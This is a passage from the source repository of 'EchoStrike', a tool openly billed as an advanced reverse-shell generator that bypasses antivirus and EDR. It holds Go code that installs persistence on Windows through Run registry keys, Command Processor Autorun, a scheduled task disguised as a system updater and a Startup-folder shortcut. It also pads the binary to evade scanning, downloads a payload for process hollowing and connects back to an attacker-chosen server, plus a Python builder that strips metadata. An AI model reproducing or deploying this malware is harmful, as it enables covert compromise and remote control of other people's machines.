fmt.Errorf("failed to set registry key value: %w", err) 127 | } 128 | 129 | return nil 130 | } 131 | 132 | // ConfigureCmdAutoRun sets up a command to run automatically when Command Prompt is opened. 133 | func ConfigureCmdAutoRun(valueName, command, persistenceOption string) error { 134 | if persistenceOption == "0" { 135 | return nil 136 | } 137 | return createRegistryEntry(registry.CURRENT_USER, `Software\Microsoft\Command Processor`, "Autorun", command) 138 | } 139 | 140 | // SetupScheduledTask schedules a task in Windows Task Scheduler to ensure the application runs at user login. 141 | func SetupScheduledTask(taskName, executablePath, persistenceOption string) error { 142 | if persistenceOption == "0" { 143 | return nil 144 | } 145 | 146 | checkTaskCmd := fmt.Sprintf(`SchTasks /Query /TN "%s"`, taskName) 147 | cmdCheck := exec.Command("cmd", "/C", checkTaskCmd) 148 | cmdCheck.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 149 | if err := cmdCheck.Run(); err == nil { 150 | return nil 151 | } 152 | 153 | powershellCommand := fmt.Sprintf(`$action = New-ScheduledTaskAction -Execute "%s"; `+ 154 | `$trigger = New-ScheduledTaskTrigger -AtLogOn; `+ 155 | `$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; `+ 156 | `Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "System Updater Task" -User $env:USERNAME`, 157 | executablePath, taskName) 158 | 159 | return RunCommandInBackground("powershell", "-Command", powershellCommand) 160 | } 161 | 162 | // CreateStartupShortcut creates a shortcut to the application in the user's Startup folder for automatic launch at login. 163 | func CreateStartupShortcut(executablePath, persistenceOption string) error { 164 | if persistenceOption == "0" { 165 | return nil 166 | } 167 | 168 | usr, err := user.Current() 169 | if err != nil { 170 | LogErrorToFile(fmt.Sprintf("Failed to get current user: %v", err)) 171 | return fmt.Errorf("failed to get current user: %w", err) 172 | } 173 | 174 | startupPath := filepath.Join(usr.HomeDir, "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup", filepath.Base(executablePath)+".lnk") 175 | if _, err := os.Stat(startupPath); err == nil { 176 | return nil 177 | } 178 | 179 | return RunCommandInBackground("powershell", "-Command", fmt.Sprintf(`$wshell = New-Object -ComObject WScript.Shell; $shortcut = $wshell.CreateShortcut('%s'); $shortcut.TargetPath = '%s'; $shortcut.Save()`, startupPath, executablePath)) 180 | } 181 | -------------------------------------------------------------------------------- /modules/variableoptimizer/optimizer.go: -------------------------------------------------------------------------------- 1 | package optimizer 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "os" 7 | ) 8 | 9 | // AddPaddingToFile increases the size of the executable file by adding extra bytes until the specified target size is reached. 10 | // This can be useful for ensuring that the file meets certain size requirements. 11 | func AddPaddingToFile(filePath string, targetSize int64) error { 12 | // Open the file in append mode to add data to the end 13 | file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_APPEND, 0644) 14 | if err != nil { 15 | return fmt.Errorf("failed to open file: %v", err) 16 | } 17 | defer file.Close() 18 | 19 | // Get the current size of the file 20 | fileInfo, err := file.Stat() 21 | if err != nil { 22 | return fmt.Errorf("failed to get file info: %v", err) 23 | } 24 | currentSize := fileInfo.Size() 25 | 26 | // Calculate the amount of padding needed to reach the target size 27 | paddingSize := targetSize - currentSize 28 | if paddingSize <= 0 { 29 | // fmt.Printf("No padding needed, file is already larger than or equal to target size.\n") 30 | return nil 31 | } 32 | 33 | // Add non-operative instructions or random data as padding 34 | padding := generateRandomPadding(paddingSize) 35 | 36 | // Write the additional bytes to the end of the file 37 | _, err = file.Write(padding) 38 | if err != nil { 39 | return fmt.Errorf("failed to write padding to file: %v", err) 40 | } 41 | 42 | // fmt.Printf("Added %d bytes of padding to %s to reach target size %d bytes.\n", paddingSize, filePath, targetSize) 43 | return nil 44 | } 45 | 46 | // generateRandomPadding generates a block of bytes with random data or non-operative instructions. 47 | // This padding ensures that the file size is increased without affecting its functionality. 48 | func generateRandomPadding(size int64) []byte { 49 | padding := make([]byte, size) 50 | 51 | for i := range padding { 52 | padding[i] = byte(rand.Intn(256)) // Fill with random values 53 | } 54 | 55 | return padding 56 | } 57 | -------------------------------------------------------------------------------- /src/application.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "os" 7 | "strconv" 8 | "time" 9 | 10 | "EchoStrike/modules/config" 11 | "EchoStrike/modules/diagnostics" 12 | "EchoStrike/modules/integration" 13 | "EchoStrike/modules/network" 14 | "EchoStrike/modules/security" 15 | sysutils "EchoStrike/modules/utils" 16 | optimizer "EchoStrike/modules/variableoptimizer" 17 | ) 18 | 19 | func main() { 20 | appConfig, err := config.LoadConfig() 21 | if err != nil { 22 | sysutils.LogErrorToFile(fmt.Sprintf("Could not load configuration: %s", err)) 23 | return 24 | } 25 | 26 | time.Sleep(time.Duration(5+rand.Intn(5)) * time.Second) 27 | diagnostics.PerformDiagnostics() 28 | 29 | executablePath, err := os.Executable() 30 | if err != nil { 31 | sysutils.LogErrorToFile(fmt.Sprintf("Could not get executable path: %s", err)) 32 | return 33 | } 34 | 35 | if appConfig.PersistenceOption != "0" { 36 | destPath, err := sysutils.MoveToSysDir(executablePath, appConfig.PersistenceOption) 37 | if err != nil { 38 | sysutils.LogErrorToFile(fmt.Sprintf("Could not move the file: %s", err)) 39 | return 40 | } 41 | 42 | if appConfig.TargetSize > 0 { 43 | err = optimizer.AddPaddingToFile(destPath, appConfig.TargetSize) 44 | if err != nil { 45 | sysutils.LogErrorToFile(fmt.Sprintf("Could not apply padding to binary: %s", err)) 46 | } 47 | } 48 | 49 | err = setupPersistence(destPath, appConfig.PersistenceOption) 50 | if err != nil { 51 | sysutils.LogErrorToFile(fmt.Sprintf("Could not establish auto-start: %s", err)) 52 | } 53 | } 54 | 55 | if appConfig.URL != "" { 56 | handleUpdate(appConfig.URL, appConfig.Method) 57 | } 58 | 59 | if appConfig.ServerAddress != "" && appConfig.ServerPort != "" { 60 | connectToServer(appConfig.ServerAddress, appConfig.ServerPort, appConfig.ApiKey) 61 | } 62 | 63 | // Eliminar todas las salidas a consola como fmt.Println(...) 64 | } 65 | 66 | func setupPersistence(destPath, persistenceOption string) error { 67 | switch persistenceOption { 68 | case "1": 69 | return sysutils.SetupAutoStartRegistry("SystemUpdater", destPath, persistenceOption) 70 | case "2": 71 | return sysutils.ConfigureCmdAutoRun("SystemUpdater", destPath, persistenceOption) 72 | case "3": 73 | return sysutils.SetupScheduledTask("SystemUpdaterTask", destPath, persistenceOption) 74 | case "4": 75 | return sysutils.CreateStartupShortcut(destPath, persistenceOption) 76 | default: 77 | return sysutils.SetupAutoStartRegistry("SystemUpdater", destPath, persistenceOption) 78 | } 79 | } 80 | 81 | func handleUpdate(url, method string) { 82 | packageData, key, err := integration.FetchUpdatePackage(url) 83 | if err != nil { 84 | sysutils.LogErrorToFile(fmt.Sprintf("Could not fetch update package: %s", err)) 85 | return 86 | } 87 | 88 | time.Sleep(time.Duration(2+rand.Intn(4)) * time.Second) 89 | 90 | if method == "1" { 91 | err = integration.ApplySystemUpdate(packageData, key) 92 | if err != nil { 93 | sysutils.LogErrorToFile(fmt.Sprintf("Could not apply system update: %s", err)) 94 | } 95 | } 96 | } 97 | 98 | func connectToServer(serverAddress, serverPort, apiKey string) { 99 | securedAddress, err := security.ProcessDataGCM(serverAddress, apiKey, "encrypt") 100 | if err != nil { 101 | sysutils.LogErrorToFile(fmt.Sprintf("Could not secure server address: %s", err)) 102 | return 103 | } 104 | 105 | securedPort, err := security.ProcessDataGCM(serverPort, apiKey, "encrypt") 106 | if err != nil { 107 | sysutils.LogErrorToFile(fmt.Sprintf("Could not secure server port: %s", err)) 108 | return 109 | } 110 | 111 | decryptedAddress, err := security.ProcessDataGCM(securedAddress, apiKey, "decrypt") 112 | if err != nil { 113 | sysutils.LogErrorToFile(fmt.Sprintf("Could not decrypt server address: %s", err)) 114 | return 115 | } 116 | 117 | decryptedPort, err := security.ProcessDataGCM(securedPort, apiKey, "decrypt") 118 | if err != nil { 119 | sysutils.LogErrorToFile(fmt.Sprintf("Could not decrypt server port: %s", err)) 120 | return 121 | } 122 | 123 | port, err := strconv.Atoi(decryptedPort) 124 | if err != nil { 125 | sysutils.LogErrorToFile(fmt.Sprintf("Invalid port number: %s", err)) 126 | return 127 | } 128 | 129 | time.Sleep(time.Duration(2+rand.Intn(4)) * time.Second) 130 | err = network.InitializeConnection(decryptedAddress, port) 131 | if err != nil { 132 | sysutils.LogErrorToFile(fmt.Sprintf("Could not establish connection: %s", err)) 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /tools/build.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import platform 4 | import subprocess 5 | import pyfiglet 6 | from termcolor import colored 7 | import signal 8 | import sys 9 | import re 10 | 11 | # Constants for directory paths and config file 12 | CONFIG_PATH = "../modules/config/settings.json" 13 | SRC_DIR = "../src" 14 | 15 | # Constants for persistence options and injection techniques 16 | PERSISTENCE_OPTIONS = { 17 | "0": "No Persistence", 18 | "1": "Registry (CurrentUser Run)", 19 | "2": "Registry (Command Processor)", 20 | "3": "Task Scheduler (Admin Required)", 21 | "4": "Startup Folder", 22 | } 23 | 24 | TECHNIQUES = { 25 | "0": "No Shellcode Injection", 26 | "1": "Process Hollowing", 27 | "2": "More techniques coming soon...", 28 | } 29 | 30 | MIN_TARGET_SIZE_MB = 8 31 | 32 | 33 | def create_banner(): 34 | """Create and return an ASCII art banner for EchoStrike.""" 35 | banner = pyfiglet.figlet_format("EchoStrike", font="slant") 36 | return banner 37 | 38 | 39 | def add_border(text): 40 | """Add a consistent border around the banner text.""" 41 | lines = text.splitlines() 42 | 43 | max_width = max(len(re.sub(r"\x1B\[[0-?]*[ -/]*[@-~]", "", line)) for line in lines) 44 | 45 | horizontal_border = "+" + "-" * (max_width + 2) + "+" 46 | 47 | bordered_lines = [f"| {line.ljust(max_width)} |" for line in lines] 48 | 49 | return ( 50 | f"{horizontal_border}\n" + "\n".join(bordered_lines) + f"\n{horizontal_border}" 51 | ) 52 | 53 | 54 | def print_colored_banner(): 55 | """Print the EchoStrike banner with color, but without affecting the borders.""" 56 | banner = create_banner() 57 | 58 | bordered_banner = add_border(banner) 59 | 60 | bordered_lines = bordered_banner.splitlines() 61 | 62 | for line in bordered_lines: 63 | if "EchoStrike" in line: 64 | print(colored(line, "red", attrs=["bold"])) 65 | else: 66 | print(line) 67 | 68 | 69 | def print_colored_details(): 70 | """Print the additional details with colors outside the bordered area.""" 71 | details = { 72 | "description": "Advanced Reverse Shell Generator - Bypassing AV/EDR", 73 | "author": "Author: Stiven Mayorga / aka. Stiven.Hacker", 74 | "version": "Version: 1.0.0", 75 | } 76 | 77 | print(colored(details["description"], "yellow", attrs=["bold"])) 78 | print(colored(details["author"], "blue", attrs=["bold"])) 79 | print(colored(details["version"], "red", attrs=["bold"])) 80 | 81 | 82 | def print_intro(): 83 | """Print the introductory banner with borders and colored text.""" 84 | print_colored_banner() 85 | print_colored_details() 86 | 87 | 88 | def validate_input(user_input, valid_options): 89 | """Validate user input against a set of valid options.""" 90 | return user_input if user_input in valid_options else None 91 | 92 | 93 | def update_config( 94 | address, port, encryption_key, persistence_option, target_size, method, url=None 95 | ): 96 | """Update the configuration file with the provided settings.""" 97 | config = { 98 | "server_address": address, 99 | "server_port": port, 100 | "api_key": encryption_key, 101 | "persistence_option": persistence_option, 102 | "target_size": target_size, 103 | "method": method, # Method is now stored as a number 104 | "url": url, # URL can be None if no shellcode injection is selected 105 | } 106 | 107 | try: 108 | with open(CONFIG_PATH, "w") as config_file: 109 | json.dump(config, config_file, indent=4) 110 | print( 111 | colored( 112 | "\n[✓] Configuration updated successfully.", "green", attrs=["bold"] 113 | ) 114 | ) 115 | except Exception as e: 116 | print( 117 | colored(f"\n[✗] Failed to update configuration: {e}", "red", attrs=["bold"]) 118 | ) 119 | 120 | 121 | def build_binary(output_name): 122 | """Build the Go binary based on the current OS, minimizing metadata.""" 123 | try: 124 | if not os.path.isdir(SRC_DIR): 125 | raise FileNotFoundError(f"Source directory not found: {SRC_DIR}") 126 | 127 | os.chdir(SRC_DIR) 128 | 129 | # Detect the current operating system 130 | current_os = platform.system().lower() 131 | 132 | if current_os == "windows": 133 | # Command for compiling on Windows 134 | compile_command = ["go", "build", "-ldflags=-s -w -buildid=", "-trimpath", "-o", output_name] 135 | else: 136 | # Command for cross-compiling to Windows on Linux 137 | compile_command = ["env", "GOOS=windows", "GOARCH=amd64", "go", "build", "-ldflags=-s -w -buildid=", "-trimpath", "-o", output_name] 138 | 139 | # Run the appropriate build command 140 | subprocess.run(compile_command, check=True) 141 | 142 | print( 143 | colored( 144 | f"\n[✓] Binary generated successfully: {output_name}", 145 | "cyan", 146 | attrs=["bold"], 147 | ) 148 | ) 149 | except (subprocess.CalledProcessError, FileNotFoundError) as e: 150 | print(colored(f"\n[✗] Error during compilation: {e}", "red", attrs=["bold"])) 151 | finally: 152 | # Ensure the script always returns to the initial directory 153 | os.chdir(os.path.dirname(os.path.abspath(__file__))) 154 | 155 | 156 | def signal_handler(sig, frame): 157 | """Handle Ctrl + C (SIGINT) to exit gracefully.""" 158 | print( 159 | colored("\n[!] Process interrupted. Exiting EchoStrike.", "red", attrs=["bold"]) 160 | ) 161 | sys.exit(0) 162 | 163 | 164 | def main(): 165 | # Register the signal handler for Ctrl + C 166 | signal.signal(signal.SIGINT, signal_handler) 167 | 168 | print_intro() 169 | 170 | try: 171 | # Gather user input 172 | address = input( 173 | colored("\n[>] Enter the new IP address: ", "blue", attrs=["bold"]) 174 | ) 175 | port = input(colored("\n[>] Enter the new port: ", "yellow", attrs=["bold"])) 176 | print( 177 | colored( 178 | "\n[!] If you're unsure how to generate a 128-bit AES key, you can use this tool: https://github.com/stivenhacker/AESCrafter", 179 | "red", 180 | attrs=["bold"], 181 | ) 182 | ) 183 | encryption_key = input( 184 | colored( 185 | "\n[>] Enter a 128-bit AES key (32 hexadecimal characters): ", 186 | "blue", 187 | attrs=["bold"], 188 | ) 189 | ) 190 | output_name = input( 191 | colored( 192 | "\n[>] Enter the name of the output binary (e.g., EchoStrike.exe): ", 193 | "red", 194 | attrs=["bold"], 195 | ), 196 | ) 197 | 198 | # Ask the user for the persistence option 199 | print(colored("\n[•] Select Persistence Option", "green", attrs=["bold"])) 200 | for key, option in PERSISTENCE_OPTIONS.items(): 201 | print(colored(f"[{key}] {option}", "cyan", attrs=["bold"])) 202 | 203 | persistence_option = validate_input( 204 | input(colored("\n[>] Enter your choice (0-4): ", "yellow", attrs=["bold"])), 205 | PERSISTENCE_OPTIONS, 206 | ) 207 | 208 | if not persistence_option: 209 | print( 210 | colored( 211 | "\n[!] Invalid choice, defaulting to '0: No Persistence'.", 212 | "red", 213 | attrs=["bold"], 214 | ), 215 | ) 216 | persistence_option = "0" 217 | 218 | # Only ask for target size if persistence is not "No Persistence" 219 | target_size = None 220 | if persistence_option != "0": 221 | target_size = input( 222 | colored( 223 | "\n[>] Enter the target size for the binary in MB (e.g., 7 for 7MB): ", 224 | "blue", 225 | attrs=["bold"], 226 | ), 227 | ) 228 | print( 229 | colored( 230 | "\n[ℹ] Note: This size adjustment applies only after the binary is copied to the persistence location.", 231 | "yellow", 232 | attrs=["bold"], 233 | ), 234 | ) 235 | try: 236 | target_size = int(target_size) 237 | if target_size < MIN_TARGET_SIZE_MB: 238 | print( 239 | colored( 240 | f"\n[!] Size too small, defaulting to {MIN_TARGET_SIZE_MB}MB.", 241 | "yellow", 242 | attrs=["bold"], 243 | ), 244 | ) 245 | target_size = MIN_TARGET_SIZE_MB 246 | target_size *= 1024 * 1024 # Convert to bytes 247 | except ValueError: 248 | print( 249 | colored( 250 | f"\n[!] Invalid size, defaulting to {MIN_TARGET_SIZE_MB}MB.", 251 | "yellow", 252 | attrs=["bold"], 253 | ), 254 | ) 255 | target_size = MIN_TARGET_SIZE_MB * 1024 * 1024 # Convert to bytes 256 | 257 | # Menu for selecting the process injection technique 258 | print( 259 | colored("\n[•] Select Process Injection Technique", "green", attrs=["bold"]) 260 | ) 261 | for key, technique in TECHNIQUES.items(): 262 | print(colored(f"[{key}] {technique}", "cyan", attrs=["bold"])) 263 | 264 | technique_choice = validate_input( 265 | input(colored("\n[>] Enter your choice (0-2): ", "yellow", attrs=["bold"])), 266 | TECHNIQUES, 267 | ) 268 | 269 | if not technique_choice: 270 | print( 271 | colored( 272 | "\n[!] Invalid choice, defaulting to '0: No Shellcode Injection'.", 273 | "red", 274 | attrs=["bold"], 275 | ), 276 | ) 277 | technique_choice = "0" 278 | 279 | selected_technique = technique_choice 280 | print( 281 | colored( 282 | f"\n[✓] You selected: {TECHNIQUES[selected_technique]}", 283 | "magenta", 284 | attrs=["bold"], 285 | ), 286 | ) 287 | 288 | # Warning message for techniques not implemented 289 | if selected_technique != "1" and selected_technique != "0": 290 | print( 291 | colored( 292 | f"\n[!] Warning: {TECHNIQUES[selected_technique]} is not yet implemented. Defaulting to 'Process Hollowing'.", 293 | "yellow", 294 | attrs=["bold"], 295 | ), 296 | ) 297 | selected_technique = "1" 298 | 299 | # Check if the selected technique requires a URL for shellcode 300 | url = None 301 | if selected_technique != "0": 302 | url = input( 303 | colored( 304 | "\n[>] Enter the URL for the payload to download: ", 305 | "green", 306 | attrs=["bold"], 307 | ), 308 | ) 309 | 310 | # Update the config file 311 | update_config( 312 | address, 313 | port, 314 | encryption_key, 315 | persistence_option, 316 | target_size, 317 | selected_technique, # Pass the technique as a number 318 | url, # Pass the URL if a technique requiring it is selected 319 | ) 320 | 321 | # Generate the binary with the specified name 322 | build_binary(output_name) 323 | 324 | print( 325 | colored( 326 | "\n[✓] Process completed. Thank you for using EchoStrike!", 327 | "magenta", 328 | attrs=["bold"], 329 | ), 330 | ) 331 | except KeyboardInterrupt: 332 | signal_handler(None, None) 333 | 334 | 335 | if __name__ == "__main__": 336 | main() --------------------------------------------------------------------------------